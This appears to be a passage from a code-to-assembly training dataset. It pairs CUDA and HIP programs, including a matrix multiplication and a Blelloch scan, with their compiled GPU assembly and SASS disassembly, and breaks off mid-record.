.asciz "/home/ubuntu/Datasets/stackv2/train-structured-repos-hip/aleksey-uvarov/hpc-2019/master/scan.hip"
.size .L.str.5, 97
.type .L.str.6,@object # @.str.6
.L.str.6:
.asciz "Integral value: %1.5e\n"
.size .L.str.6, 23
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z16prepare_functionPfiff"
.size .L__unnamed_1, 26
.type .L__unnamed_2,@object # @1
.L__unnamed_2:
.asciz "_Z20blelloch_reduce_stepPfii"
.size .L__unnamed_2, 29
.type .L__unnamed_3,@object # @2
.L__unnamed_3:
.asciz "_Z9kill_lastPfi"
.size .L__unnamed_3, 16
.type .L__unnamed_4,@object # @3
.L__unnamed_4:
.asciz "_Z23blelloch_downsweep_stepPfii"
.size .L__unnamed_4, 32
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.type .Lstr,@object # @str
.section .rodata.str1.1,"aMS",@progbits,1
.Lstr:
.asciz "Usage: ./scan <number> "
.size .Lstr, 24
.type .Lstr.1,@object # @str.1
.Lstr.1:
.asciz "0"
.size .Lstr.1, 2
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z31__device_stub__prepare_functionPfiff
.addrsig_sym _Z35__device_stub__blelloch_reduce_stepPfii
.addrsig_sym _Z24__device_stub__kill_lastPfi
.addrsig_sym _Z38__device_stub__blelloch_downsweep_stepPfii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z16prepare_functionPfiff
.addrsig_sym _Z20blelloch_reduce_stepPfii
.addrsig_sym _Z9kill_lastPfi
.addrsig_sym _Z23blelloch_downsweep_stepPfii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include <stdio.h>
#include <cuda_runtime.h>
__global__ void matMul(float* A, float* B, float* C, int nFil, int nCol)
{
int idx = blockDim.x * blockIdx.x + threadIdx.x;
int idy = blockDim.y * blockIdx.y + threadIdx.y;
int i = idx + idy * nCol;
if(idx < nCol && idy < nFil)
{
float sum = 0;
for(int k = 0; k < nCol; k++)
{
sum += A[idy * nCol + k] * B[k * nCol + idx];
}
C[i] = sum;
}
}
int main()
{
int nFil = 5;
int nCol = 5;
int N = nFil * nCol;
size_t size = N * sizeof(float);
float* h_A = (float*)malloc(size);
float* h_B = (float*)malloc(size);
float* h_C = (float*)malloc(size);
//Initialialize input vectors
for(int i = 0; i < nFil; i++)
{
for(int j = 0; j < nCol; j++)
{
h_A[i * nCol + j] = 1;
h_B[i * nCol + j] = 2;
}
}
float* d_A;
cudaMalloc(&d_A, size);
float* d_B;
cudaMalloc(&d_B, size);
float* d_C;
cudaMalloc(&d_C, size);
cudaMemcpy(d_A, h_A, size, cudaMemcpyHostToDevice);
cudaMemcpy(d_B, h_B, size, cudaMemcpyHostToDevice);
int threadsPerBlock = 256;
int blocksPerGrid = (N + threadsPerBlock - 1) / threadsPerBlock;
matMul<<<blocksPerGrid, threadsPerBlock>>>(d_A, d_B, d_C, nFil, nCol);
cudaMemcpy(h_C, d_C, size, cudaMemcpyDeviceToHost);
printf("\n\nMatriz resultante:\n");
for(int i = 0; i < N; i++){
for(int j = 0; j < N; j++){
printf("%.2f", h_C[i*nCol+j]);
}
printf("\n");
}
cudaFree(d_A);
cudaFree(d_B);
cudaFree(d_C);
free(h_A);
free(h_B);
free(h_C);
return(0);
} | code for sm_80
Function : _Z6matMulPfS_S_ii
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R0, SR_CTAID.X ; /* 0x0000000000007919 */
/* 0x000e280000002500 */
/*0020*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e280000002100 */
/*0030*/ S2R R2, SR_CTAID.Y ; /* 0x0000000000027919 */
/* 0x000e680000002600 */
/*0040*/ S2R R5, SR_TID.Y ; /* 0x0000000000057919 */
/* 0x000e620000002200 */
/*0050*/ IMAD R0, R0, c[0x0][0x0], R3 ; /* 0x0000000000007a24 */
/* 0x001fca00078e0203 */
/*0060*/ ISETP.GE.AND P0, PT, R0, c[0x0][0x17c], PT ; /* 0x00005f0000007a0c */
/* 0x000fe20003f06270 */
/*0070*/ IMAD R3, R2, c[0x0][0x4], R5 ; /* 0x0000010002037a24 */
/* 0x002fca00078e0205 */
/*0080*/ ISETP.GE.OR P0, PT, R3, c[0x0][0x178], P0 ; /* 0x00005e0003007a0c */
/* 0x000fda0000706670 */
/*0090*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*00a0*/ MOV R2, c[0x0][0x17c] ; /* 0x00005f0000027a02 */
/* 0x000fe20000000f00 */
/*00b0*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fe20000000a00 */
/*00c0*/ HFMA2.MMA R28, -RZ, RZ, 0, 0 ; /* 0x00000000ff1c7435 */
/* 0x000fe200000001ff */
/*00d0*/ IMAD R3, R3, c[0x0][0x17c], RZ ; /* 0x00005f0003037a24 */
/* 0x000fe200078e02ff */
/*00e0*/ ISETP.GE.AND P0, PT, R2, 0x1, PT ; /* 0x000000010200780c */
/* 0x000fda0003f06270 */
/*00f0*/ @!P0 BRA 0xc00 ; /* 0x00000b0000008947 */
/* 0x000fea0003800000 */
/*0100*/ IADD3 R4, R2.reuse, -0x1, RZ ; /* 0xffffffff02047810 */
/* 0x040fe40007ffe0ff */
/*0110*/ LOP3.LUT R5, R2, 0x3, RZ, 0xc0, !PT ; /* 0x0000000302057812 */
/* 0x000fe400078ec0ff */
/*0120*/ ISETP.GE.U32.AND P0, PT, R4, 0x3, PT ; /* 0x000000030400780c */
/* 0x000fe40003f06070 */
/*0130*/ MOV R28, RZ ; /* 0x000000ff001c7202 */
/* 0x000fe40000000f00 */
/*0140*/ MOV R4, RZ ; /* 0x000000ff00047202 */
/* 0x000fd20000000f00 */
/*0150*/ @!P0 BRA 0xb00 ; /* 0x000009a000008947 */
/* 0x000fea0003800000 */
/*0160*/ IADD3 R6, -R5, c[0x0][0x17c], RZ ; /* 0x00005f0005067a10 */
/* 0x000fe20007ffe1ff */
/*0170*/ HFMA2.MMA R25, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff197435 */
/* 0x000fe200000001ff */
/*0180*/ ULDC.64 UR6, c[0x0][0x160] ; /* 0x0000580000067ab9 */
/* 0x000fe20000000a00 */
/*0190*/ HFMA2.MMA R4, -RZ, RZ, 0, 0 ; /* 0x00000000ff047435 */
/* 0x000fe200000001ff */
/*01a0*/ ISETP.GT.AND P0, PT, R6, RZ, PT ; /* 0x000000ff0600720c */
/* 0x000fe40003f04270 */
/*01b0*/ MOV R28, RZ ; /* 0x000000ff001c7202 */
/* 0x000fca0000000f00 */
/*01c0*/ IMAD.WIDE R24, R0, R25, c[0x0][0x168] ; /* 0x00005a0000187625 */
/* 0x000fcc00078e0219 */
/*01d0*/ @!P0 BRA 0x970 ; /* 0x0000079000008947 */
/* 0x000fea0003800000 */
/*01e0*/ ISETP.GT.AND P1, PT, R6, 0xc, PT ; /* 0x0000000c0600780c */
/* 0x000fe40003f24270 */
/*01f0*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x80, 0x0 ; /* 0x000000000000781c */
/* 0x000fd60003f0f070 */
/*0200*/ @!P1 BRA 0x6b0 ; /* 0x000004a000009947 */
/* 0x000fea0003800000 */
/*0210*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0220*/ MOV R12, UR6 ; /* 0x00000006000c7c02 */
/* 0x000fe20008000f00 */
/*0230*/ LDG.E R29, [R24.64] ; /* 0x00000004181d7981 */
/* 0x0000a2000c1e1900 */
/*0240*/ MOV R13, UR7 ; /* 0x00000007000d7c02 */
/* 0x000fca0008000f00 */
/*0250*/ IMAD.WIDE R12, R3, 0x4, R12 ; /* 0x00000004030c7825 */
/* 0x000fca00078e020c */
/*0260*/ LDG.E R27, [R12.64] ; /* 0x000000040c1b7981 */
/* 0x000ea2000c1e1900 */
/*0270*/ IMAD.WIDE R10, R2, 0x4, R24 ; /* 0x00000004020a7825 */
/* 0x000fc600078e0218 */
/*0280*/ LDG.E R17, [R12.64+0x4] ; /* 0x000004040c117981 */
/* 0x000ee6000c1e1900 */
/*0290*/ IMAD.WIDE R18, R2.reuse, 0x4, R10 ; /* 0x0000000402127825 */
/* 0x040fe200078e020a */
/*02a0*/ LDG.E R16, [R10.64] ; /* 0x000000040a107981 */
/* 0x0002e8000c1e1900 */
/*02b0*/ LDG.E R7, [R12.64+0xc] ; /* 0x00000c040c077981 */
/* 0x000f22000c1e1900 */
/*02c0*/ IMAD.WIDE R14, R2, 0x4, R18 ; /* 0x00000004020e7825 */
/* 0x000fc600078e0212 */
/*02d0*/ LDG.E R18, [R18.64] ; /* 0x0000000412127981 */
/* 0x000b26000c1e1900 */
/*02e0*/ IMAD.WIDE R20, R2.reuse, 0x4, R14 ; /* 0x0000000402147825 */
/* 0x040fe200078e020e */
/*02f0*/ LDG.E R26, [R14.64] ; /* 0x000000040e1a7981 */
/* 0x000128000c1e1900 */
/*0300*/ LDG.E R9, [R12.64+0x10] ; /* 0x000010040c097981 */
/* 0x000f28000c1e1900 */
/*0310*/ LDG.E R19, [R12.64+0x8] ; /* 0x000008040c137981 */
/* 0x020f22000c1e1900 */
/*0320*/ IMAD.WIDE R14, R2, 0x4, R20 ; /* 0x00000004020e7825 */
/* 0x001fc600078e0214 */
/*0330*/ LDG.E R20, [R20.64] ; /* 0x0000000414147981 */
/* 0x000166000c1e1900 */
/*0340*/ IMAD.WIDE R22, R2.reuse, 0x4, R14 ; /* 0x0000000402167825 */
/* 0x040fe200078e020e */
/*0350*/ LDG.E R8, [R14.64] ; /* 0x000000040e087981 */
/* 0x000168000c1e1900 */
/*0360*/ LDG.E R11, [R12.64+0x14] ; /* 0x000014040c0b7981 */
/* 0x002f62000c1e1900 */
/*0370*/ IMAD.WIDE R24, R2, 0x4, R22 ; /* 0x0000000402187825 */
/* 0x000fc600078e0216 */
/*0380*/ LDG.E R10, [R22.64] ; /* 0x00000004160a7981 */
/* 0x000368000c1e1900 */
/*0390*/ LDG.E R21, [R12.64+0x18] ; /* 0x000018040c157981 */
/* 0x001f62000c1e1900 */
/*03a0*/ FFMA R29, R29, R27, R28 ; /* 0x0000001b1d1d7223 */
/* 0x004fc6000000001c */
/*03b0*/ LDG.E R27, [R12.64+0x1c] ; /* 0x00001c040c1b7981 */
/* 0x000ea8000c1e1900 */
/*03c0*/ LDG.E R28, [R24.64] ; /* 0x00000004181c7981 */
/* 0x0000a2000c1e1900 */
/*03d0*/ IMAD.WIDE R14, R2, 0x4, R24 ; /* 0x00000004020e7825 */
/* 0x000fc800078e0218 */
/*03e0*/ FFMA R29, R16, R17, R29 ; /* 0x00000011101d7223 */
/* 0x008fe4000000001d */
/*03f0*/ IMAD.WIDE R16, R2, 0x4, R14 ; /* 0x0000000402107825 */
/* 0x000fe400078e020e */
/*0400*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x0006a4000c1e1900 */
/*0410*/ FFMA R29, R18, R19, R29 ; /* 0x00000013121d7223 */
/* 0x010fe4000000001d */
/*0420*/ IMAD.WIDE R18, R2, 0x4, R16 ; /* 0x0000000402127825 */
/* 0x000fe400078e0210 */
/*0430*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x0008a4000c1e1900 */
/*0440*/ FFMA R26, R26, R7, R29 ; /* 0x000000071a1a7223 */
/* 0x000fc4000000001d */
/*0450*/ IMAD.WIDE R22, R2.reuse, 0x4, R18 ; /* 0x0000000402167825 */
/* 0x042fe200078e0212 */
/*0460*/ LDG.E R7, [R12.64+0x20] ; /* 0x000020040c077981 */
/* 0x000ea8000c1e1900 */
/*0470*/ LDG.E R29, [R12.64+0x24] ; /* 0x000024040c1d7981 */
/* 0x000ea2000c1e1900 */
/*0480*/ IMAD.WIDE R24, R2, 0x4, R22 ; /* 0x0000000402187825 */
/* 0x001fc600078e0216 */
/*0490*/ LDG.E R18, [R18.64] ; /* 0x0000000412127981 */
/* 0x0000a2000c1e1900 */
/*04a0*/ FFMA R9, R20, R9, R26 ; /* 0x0000000914097223 */
/* 0x020fc6000000001a */
/*04b0*/ LDG.E R26, [R12.64+0x28] ; /* 0x000028040c1a7981 */
/* 0x000f62000c1e1900 */
/*04c0*/ FFMA R11, R8, R11, R9 ; /* 0x0000000b080b7223 */
/* 0x000fe40000000009 */
/*04d0*/ IMAD.WIDE R8, R2, 0x4, R24 ; /* 0x0000000402087825 */
/* 0x000fe200078e0218 */
/*04e0*/ LDG.E R22, [R22.64] ; /* 0x0000000416167981 */
/* 0x000368000c1e1900 */
/*04f0*/ LDG.E R17, [R12.64+0x2c] ; /* 0x00002c040c117981 */
/* 0x010f22000c1e1900 */
/*0500*/ FFMA R21, R10, R21, R11 ; /* 0x000000150a157223 */
/* 0x000fc6000000000b */
/*0510*/ LDG.E R15, [R24.64] ; /* 0x00000004180f7981 */
/* 0x008722000c1e1900 */
/*0520*/ IMAD.WIDE R10, R2, 0x4, R8 ; /* 0x00000004020a7825 */
/* 0x000fc600078e0208 */
/*0530*/ LDG.E R19, [R8.64] ; /* 0x0000000408137981 */
/* 0x001128000c1e1900 */
/*0540*/ LDG.E R23, [R10.64] ; /* 0x000000040a177981 */
/* 0x002f28000c1e1900 */
/*0550*/ LDG.E R24, [R12.64+0x30] ; /* 0x000030040c187981 */
/* 0x008ee8000c1e1900 */
/*0560*/ LDG.E R25, [R12.64+0x38] ; /* 0x000038040c197981 */
/* 0x000ee8000c1e1900 */
/*0570*/ LDG.E R8, [R12.64+0x3c] ; /* 0x00003c040c087981 */
/* 0x001ee2000c1e1900 */
/*0580*/ FFMA R9, R28, R27, R21 ; /* 0x0000001b1c097223 */
/* 0x004fc60000000015 */
/*0590*/ LDG.E R28, [R12.64+0x34] ; /* 0x000034040c1c7981 */
/* 0x000ea2000c1e1900 */
/*05a0*/ IMAD.WIDE R20, R2, 0x4, R10 ; /* 0x0000000402147825 */
/* 0x000fca00078e020a */
/*05b0*/ LDG.E R27, [R20.64] ; /* 0x00000004141b7981 */
/* 0x000ea2000c1e1900 */
/*05c0*/ IADD3 R6, R6, -0x10, RZ ; /* 0xfffffff006067810 */
/* 0x000fc80007ffe0ff */
/*05d0*/ ISETP.GT.AND P1, PT, R6, 0xc, PT ; /* 0x0000000c0600780c */
/* 0x000fe20003f24270 */
/*05e0*/ FFMA R7, R14, R7, R9 ; /* 0x000000070e077223 */
/* 0x000fc80000000009 */
/*05f0*/ FFMA R7, R16, R29, R7 ; /* 0x0000001d10077223 */
/* 0x000fc80000000007 */
/*0600*/ FFMA R7, R18, R26, R7 ; /* 0x0000001a12077223 */
/* 0x020fc80000000007 */
/*0610*/ FFMA R7, R22, R17, R7 ; /* 0x0000001116077223 */
/* 0x010fe20000000007 */
/*0620*/ UIADD3 UR6, UP0, UR6, 0x40, URZ ; /* 0x0000004006067890 */
/* 0x000fe2000ff1e03f */
/*0630*/ IADD3 R4, R4, 0x10, RZ ; /* 0x0000001004047810 */
/* 0x000fc60007ffe0ff */
/*0640*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*0650*/ FFMA R7, R15, R24, R7 ; /* 0x000000180f077223 */
/* 0x008fc80000000007 */
/*0660*/ FFMA R28, R19, R28, R7 ; /* 0x0000001c131c7223 */
/* 0x004fc80000000007 */
/*0670*/ FFMA R28, R23, R25, R28 ; /* 0x00000019171c7223 */
/* 0x000fe4000000001c */
/*0680*/ IMAD.WIDE R24, R2, 0x4, R20 ; /* 0x0000000402187825 */
/* 0x000fc800078e0214 */
/*0690*/ FFMA R28, R27, R8, R28 ; /* 0x000000081b1c7223 */
/* 0x000fe2000000001c */
/*06a0*/ @P1 BRA 0x220 ; /* 0xfffffb7000001947 */
/* 0x000fea000383ffff */
/*06b0*/ ISETP.GT.AND P1, PT, R6, 0x4, PT ; /* 0x000000040600780c */
/* 0x000fda0003f24270 */
/*06c0*/ @!P1 BRA 0x950 ; /* 0x0000028000009947 */
/* 0x000fea0003800000 */
/*06d0*/ IMAD.WIDE R16, R2, 0x4, R24 ; /* 0x0000000402107825 */
/* 0x000fe200078e0218 */
/*06e0*/ MOV R8, UR6 ; /* 0x0000000600087c02 */
/* 0x000fe20008000f00 */
/*06f0*/ LDG.E R7, [R24.64] ; /* 0x0000000418077981 */
/* 0x0000a2000c1e1900 */
/*0700*/ MOV R9, UR7 ; /* 0x0000000700097c02 */
/* 0x000fc60008000f00 */
/*0710*/ IMAD.WIDE R12, R2.reuse, 0x4, R16 ; /* 0x00000004020c7825 */
/* 0x040fe200078e0210 */
/*0720*/ LDG.E R21, [R16.64] ; /* 0x0000000410157981 */
/* 0x0002e6000c1e1900 */
/*0730*/ IMAD.WIDE R8, R3, 0x4, R8 ; /* 0x0000000403087825 */
/* 0x000fe200078e0208 */
/*0740*/ LDG.E R23, [R12.64] ; /* 0x000000040c177981 */
/* 0x000966000c1e1900 */
/*0750*/ IMAD.WIDE R14, R2.reuse, 0x4, R12 ; /* 0x00000004020e7825 */
/* 0x040fe200078e020c */
/*0760*/ LDG.E R20, [R8.64] ; /* 0x0000000408147981 */
/* 0x000ea8000c1e1900 */
/*0770*/ LDG.E R22, [R8.64+0x4] ; /* 0x0000040408167981 */
/* 0x000ee2000c1e1900 */
/*0780*/ IMAD.WIDE R10, R2, 0x4, R14 ; /* 0x00000004020a7825 */
/* 0x000fc600078e020e */
/*0790*/ LDG.E R26, [R8.64+0x8] ; /* 0x00000804081a7981 */
/* 0x000f66000c1e1900 */
/*07a0*/ IMAD.WIDE R16, R2.reuse, 0x4, R10 ; /* 0x0000000402107825 */
/* 0x042fe200078e020a */
/*07b0*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x000368000c1e1900 */
/*07c0*/ LDG.E R27, [R8.64+0xc] ; /* 0x00000c04081b7981 */
/* 0x000f62000c1e1900 */
/*07d0*/ IMAD.WIDE R18, R2, 0x4, R16 ; /* 0x0000000402127825 */
/* 0x000fc600078e0210 */
/*07e0*/ LDG.E R10, [R10.64] ; /* 0x000000040a0a7981 */
/* 0x000368000c1e1900 */
/*07f0*/ LDG.E R25, [R8.64+0x10] ; /* 0x0000100408197981 */
/* 0x001f62000c1e1900 */
/*0800*/ IMAD.WIDE R12, R2, 0x4, R18 ; /* 0x00000004020c7825 */
/* 0x010fc600078e0212 */
/*0810*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000f28000c1e1900 */
/*0820*/ LDG.E R29, [R8.64+0x14] ; /* 0x00001404081d7981 */
/* 0x000f28000c1e1900 */
/*0830*/ LDG.E R24, [R18.64] ; /* 0x0000000412187981 */
/* 0x000128000c1e1900 */
/*0840*/ LDG.E R11, [R8.64+0x18] ; /* 0x00001804080b7981 */
/* 0x002f28000c1e1900 */
/*0850*/ LDG.E R15, [R12.64] ; /* 0x000000040c0f7981 */
/* 0x000f28000c1e1900 */
/*0860*/ LDG.E R18, [R8.64+0x1c] ; /* 0x00001c0408127981 */
/* 0x001f22000c1e1900 */
/*0870*/ UIADD3 UR6, UP0, UR6, 0x20, URZ ; /* 0x0000002006067890 */
/* 0x000fe2000ff1e03f */
/*0880*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fc40003f0e170 */
/*0890*/ IADD3 R4, R4, 0x8, RZ ; /* 0x0000000804047810 */
/* 0x000fe40007ffe0ff */
/*08a0*/ IADD3 R6, R6, -0x8, RZ ; /* 0xfffffff806067810 */
/* 0x000fe20007ffe0ff */
/*08b0*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*08c0*/ FFMA R7, R7, R20, R28 ; /* 0x0000001407077223 */
/* 0x004fc8000000001c */
/*08d0*/ FFMA R7, R21, R22, R7 ; /* 0x0000001615077223 */
/* 0x008fc80000000007 */
/*08e0*/ FFMA R7, R23, R26, R7 ; /* 0x0000001a17077223 */
/* 0x020fc80000000007 */
/*08f0*/ FFMA R7, R14, R27, R7 ; /* 0x0000001b0e077223 */
/* 0x000fc80000000007 */
/*0900*/ FFMA R7, R10, R25, R7 ; /* 0x000000190a077223 */
/* 0x000fc80000000007 */
/*0910*/ FFMA R7, R16, R29, R7 ; /* 0x0000001d10077223 */
/* 0x010fc80000000007 */
/*0920*/ FFMA R7, R24, R11, R7 ; /* 0x0000000b18077223 */
/* 0x000fe40000000007 */
/*0930*/ IMAD.WIDE R24, R2, 0x4, R12 ; /* 0x0000000402187825 */
/* 0x000fc800078e020c */
/*0940*/ FFMA R28, R15, R18, R7 ; /* 0x000000120f1c7223 */
/* 0x000fe40000000007 */
/*0950*/ ISETP.NE.OR P0, PT, R6, RZ, P0 ; /* 0x000000ff0600720c */
/* 0x000fda0000705670 */
/*0960*/ @!P0 BRA 0xb00 ; /* 0x0000019000008947 */
/* 0x000fea0003800000 */
/*0970*/ MOV R8, UR6 ; /* 0x0000000600087c02 */
/* 0x000fe20008000f00 */
/*0980*/ IMAD.WIDE R14, R2, 0x4, R24 ; /* 0x00000004020e7825 */
/* 0x000fe200078e0218 */
/*0990*/ MOV R9, UR7 ; /* 0x0000000700097c02 */
/* 0x000fe20008000f00 */
/*09a0*/ LDG.E R25, [R24.64] ; /* 0x0000000418197981 */
/* 0x000ea8000c1e1900 */
/*09b0*/ IMAD.WIDE R8, R3, 0x4, R8 ; /* 0x0000000403087825 */
/* 0x000fc800078e0208 */
/*09c0*/ IMAD.WIDE R12, R2.reuse, 0x4, R14 ; /* 0x00000004020c7825 */
/* 0x040fe200078e020e */
/*09d0*/ LDG.E R7, [R8.64] ; /* 0x0000000408077981 */
/* 0x000ea8000c1e1900 */
/*09e0*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x000ee2000c1e1900 */
/*09f0*/ IMAD.WIDE R10, R2, 0x4, R12 ; /* 0x00000004020a7825 */
/* 0x000fc600078e020c */
/*0a00*/ LDG.E R16, [R8.64+0x4] ; /* 0x0000040408107981 */
/* 0x000ee8000c1e1900 */
/*0a10*/ LDG.E R18, [R12.64] ; /* 0x000000040c127981 */
/* 0x000f28000c1e1900 */
/*0a20*/ LDG.E R17, [R8.64+0x8] ; /* 0x0000080408117981 */
/* 0x000f28000c1e1900 */
/*0a30*/ LDG.E R19, [R8.64+0xc] ; /* 0x00000c0408137981 */
/* 0x000f68000c1e1900 */
/*0a40*/ LDG.E R20, [R10.64] ; /* 0x000000040a147981 */
/* 0x000f62000c1e1900 */
/*0a50*/ IADD3 R6, R6, -0x4, RZ ; /* 0xfffffffc06067810 */
/* 0x000fc80007ffe0ff */
/*0a60*/ ISETP.NE.AND P0, PT, R6, RZ, PT ; /* 0x000000ff0600720c */
/* 0x000fe20003f05270 */
/*0a70*/ UIADD3 UR6, UP0, UR6, 0x10, URZ ; /* 0x0000001006067890 */
/* 0x000fe2000ff1e03f */
/*0a80*/ IADD3 R4, R4, 0x4, RZ ; /* 0x0000000404047810 */
/* 0x000fc60007ffe0ff */
/*0a90*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*0aa0*/ FFMA R7, R25, R7, R28 ; /* 0x0000000719077223 */
/* 0x004fc8000000001c */
/*0ab0*/ FFMA R7, R14, R16, R7 ; /* 0x000000100e077223 */
/* 0x008fe40000000007 */
/*0ac0*/ IMAD.WIDE R24, R2, 0x4, R10 ; /* 0x0000000402187825 */
/* 0x000fc800078e020a */
/*0ad0*/ FFMA R7, R18, R17, R7 ; /* 0x0000001112077223 */
/* 0x010fc80000000007 */
/*0ae0*/ FFMA R28, R20, R19, R7 ; /* 0x00000013141c7223 */
/* 0x020fe20000000007 */
/*0af0*/ @P0 BRA 0x970 ; /* 0xfffffe7000000947 */
/* 0x000fea000383ffff */
/*0b00*/ ISETP.NE.AND P0, PT, R5, RZ, PT ; /* 0x000000ff0500720c */
/* 0x000fda0003f05270 */
/*0b10*/ @!P0 BRA 0xc00 ; /* 0x000000e000008947 */
/* 0x000fea0003800000 */
/*0b20*/ HFMA2.MMA R9, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff097435 */
/* 0x000fe200000001ff */
/*0b30*/ IADD3 R6, R3, R4, RZ ; /* 0x0000000403067210 */
/* 0x000fe20007ffe0ff */
/*0b40*/ IMAD R4, R4, c[0x0][0x17c], R0 ; /* 0x00005f0004047a24 */
/* 0x000fd000078e0200 */
/*0b50*/ IMAD.WIDE R6, R6, R9, c[0x0][0x160] ; /* 0x0000580006067625 */
/* 0x000fc800078e0209 */
/*0b60*/ IMAD.WIDE R8, R4, R9, c[0x0][0x168] ; /* 0x00005a0004087625 */
/* 0x000fca00078e0209 */
/*0b70*/ LDG.E R11, [R8.64] ; /* 0x00000004080b7981 */
/* 0x0000a8000c1e1900 */
/*0b80*/ LDG.E R4, [R6.64] ; /* 0x0000000406047981 */
/* 0x0002a2000c1e1900 */
/*0b90*/ IADD3 R5, R5, -0x1, RZ ; /* 0xffffffff05057810 */
/* 0x000fc80007ffe0ff */
/*0ba0*/ ISETP.NE.AND P0, PT, R5, RZ, PT ; /* 0x000000ff0500720c */
/* 0x000fe20003f05270 */
/*0bb0*/ IMAD.WIDE R8, R2, 0x4, R8 ; /* 0x0000000402087825 */
/* 0x001fe200078e0208 */
/*0bc0*/ IADD3 R6, P1, R6, 0x4, RZ ; /* 0x0000000406067810 */
/* 0x002fc80007f3e0ff */
/*0bd0*/ IADD3.X R7, RZ, R7, RZ, P1, !PT ; /* 0x00000007ff077210 */
/* 0x000fe20000ffe4ff */
/*0be0*/ FFMA R28, R11, R4, R28 ; /* 0x000000040b1c7223 */
/* 0x004fcc000000001c */
/*0bf0*/ @P0 BRA 0xb70 ; /* 0xffffff7000000947 */
/* 0x000fea000383ffff */
/*0c00*/ IADD3 R3, R0, R3, RZ ; /* 0x0000000300037210 */
/* 0x000fe40007ffe0ff */
/*0c10*/ MOV R2, 0x4 ; /* 0x0000000400027802 */
/* 0x000fca0000000f00 */
/*0c20*/ IMAD.WIDE R2, R3, R2, c[0x0][0x170] ; /* 0x00005c0003027625 */
/* 0x000fca00078e0202 */
/*0c30*/ STG.E [R2.64], R28 ; /* 0x0000001c02007986 */
/* 0x000fe2000c101904 */
/*0c40*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0c50*/ BRA 0xc50; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0c60*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0c70*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0c80*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0c90*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0ca0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0cb0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0cc0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0cd0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0ce0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0cf0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include <stdio.h>
#include <cuda_runtime.h>
__global__ void matMul(float* A, float* B, float* C, int nFil, int nCol)
{
int idx = blockDim.x * blockIdx.x + threadIdx.x;
int idy = blockDim.y * blockIdx.y + threadIdx.y;
int i = idx + idy * nCol;
if(idx < nCol && idy < nFil)
{
float sum = 0;
for(int k = 0; k < nCol; k++)
{
sum += A[idy * nCol + k] * B[k * nCol + idx];
}
C[i] = sum;
}
}
int main()
{
int nFil = 5;
int nCol = 5;
int N = nFil * nCol;
size_t size = N * sizeof(float);
float* h_A = (float*)malloc(size);
float* h_B = (float*)malloc(size);
float* h_C = (float*)malloc(size);
//Initialialize input vectors
for(int i = 0; i < nFil; i++)
{
for(int j = 0; j < nCol; j++)
{
h_A[i * nCol + j] = 1;
h_B[i * nCol + j] = 2;
}
}
float* d_A;
cudaMalloc(&d_A, size);
float* d_B;
cudaMalloc(&d_B, size);
float* d_C;
cudaMalloc(&d_C, size);
